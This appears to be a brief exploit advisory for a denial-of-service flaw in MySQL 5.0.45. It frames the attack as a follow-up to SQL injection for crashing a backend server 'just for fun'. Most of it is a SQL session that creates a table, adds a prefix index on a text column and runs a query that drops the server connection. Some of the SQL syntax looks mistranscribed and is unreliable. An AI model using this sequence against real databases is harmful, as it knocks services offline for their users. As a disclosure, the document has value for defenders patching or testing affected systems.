MySQL 5.0.45 (modified) DoS Vulnerability
/*
* Mysql <= 6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe gallo
* You must have alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* In the nuts just for fun. Start with the alter table statement on
* A table and field you know to exist. The first two SQL statements are
* Simply to demostrate reproducibility...
*/
<Snip>
Mysql> Create Table 'test '(
'Id' int (10) unsigned not null auto_increment primary key,
'Foo' text not null
) Engine = InnoDB default charset = Latin1;
Query OK, 0 rows affected
Mysql> select * from test where contains (Foo, ''bar '');
Empty set
Mysql> alter table test add index (FOO (100 ));
Query OK, 0 rows affected
Records: 0 duplicates: 0 Warnings: 0
Mysql> select * from test where contains (Foo, ''bar '');
Error 2013: Lost connection to MySQL server during Query
</Snip>